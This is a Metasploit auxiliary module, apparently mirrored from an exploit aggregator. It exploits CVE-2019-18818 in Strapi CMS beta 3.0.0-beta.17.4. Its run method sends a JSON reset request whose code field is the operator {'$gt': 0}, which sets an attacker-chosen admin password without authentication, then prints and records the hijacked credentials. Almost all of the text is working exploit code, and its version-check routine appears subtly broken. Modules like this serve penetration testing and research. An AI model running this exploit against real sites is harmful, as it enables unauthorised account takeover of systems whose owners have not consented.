Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-STRAPI_3_PASSWORD_RESET-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Strapi CMS Unauthenticated Password Reset',
        'Description' => %q{
          This module abuses the mishandling of a password reset request for
          Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user.

          Successfully tested against Strapi CMS version 3.0.0-beta.17.4.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'WackyH4cker', # original module creation
          'h00die' # lots of fixes, documentation, standardization
        ],
        'References' => [
          [ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ],
          [ 'URL', 'https://github.com/strapi/strapi/releases/tag/v3.0.0-beta.17.4' ],
          [ 'URL', 'https://github.com/strapi/strapi/pull/4443' ],
          [ 'CVE', '2019-18818' ],
          [ 'EDB', '50716' ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2022-02-09',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options [
      OptString.new('NEW_PASSWORD', [true, 'New Admin password']),
      OptString.new('TARGETURI', [true, 'The base path to strapi', '/'])
    ]
  end

  # not used, but figured id include it anyways
  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'admin', 'init')
    })
    return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?

    begin
      version = JSON.parse(res.body)
    rescue JSON::ParserError
      return Exploit::CheckCode::Safe("Unable to parse json data: #{res.body}")
    end

    # Untested if it works with versions lower than 3.0.0-beta.17.4.
    # builds of 3.0.0-beta.17.3 and lower fail:
    # npm ERR! gyp: Undefined variable standalone_static_library in binding.gyp while trying to load binding.gyp
    # however vulners shows 3.0.0 and up to 3.0.0-beta.17.4 are vulnerable
    version = Rex::Version.new(version.dig('data', 'strapiVersion'))
    if version.start_with?('3.0.0-beta') && (Rex::Version.new(version.split('-beta.')[1]) <= Rex::Version.new('17.4'))
      return Exploit::CheckCode::Vulnerable("Vulnerable version detected: #{version.dig('data', 'strapiVersion')}")
    end

    Exploit::CheckCode::Safe
  end

  def run
    json_post_data = JSON.generate({
      'code' => { '$gt' => 0 },
      'password' => datastore['NEW_PASSWORD'],
      'passwordConfirmation' => datastore['NEW_PASSWORD']
    })

    print_status('Resetting admin password...')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'admin', 'auth', 'reset-password'),
      'ctype' => 'application/json',
      'data' => json_post_data
    })

    if res.nil?
      print_error('Unable to determine due to a HTTP connection timeout')
      return
    end

    begin
      json_resp = JSON.parse(res.body)
    rescue JSON::ParserError
      print_error("Unable to parse json data: #{res.body}")
      return
    end

    unless res.code == 200
      print_error('Could not change admin user password, unexpected response code')
      return
    end

    print_good('Password changed successfully!')
    print_good("User: #{json_resp['user']['username']}")
    print_good("Email: #{json_resp['user']['email']}")
    print_good("PASSWORD: #{datastore['NEW_PASSWORD']}")
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      workspace_id: myworkspace_id,
      service_name: 'strapi cms',
      address: rhost,
      port: rport,
      private_type: :password,
      private_data: datastore['NEW_PASSWORD'],
      username: json_resp['user']['username']
    }
    create_credential(credential_data)
  end

end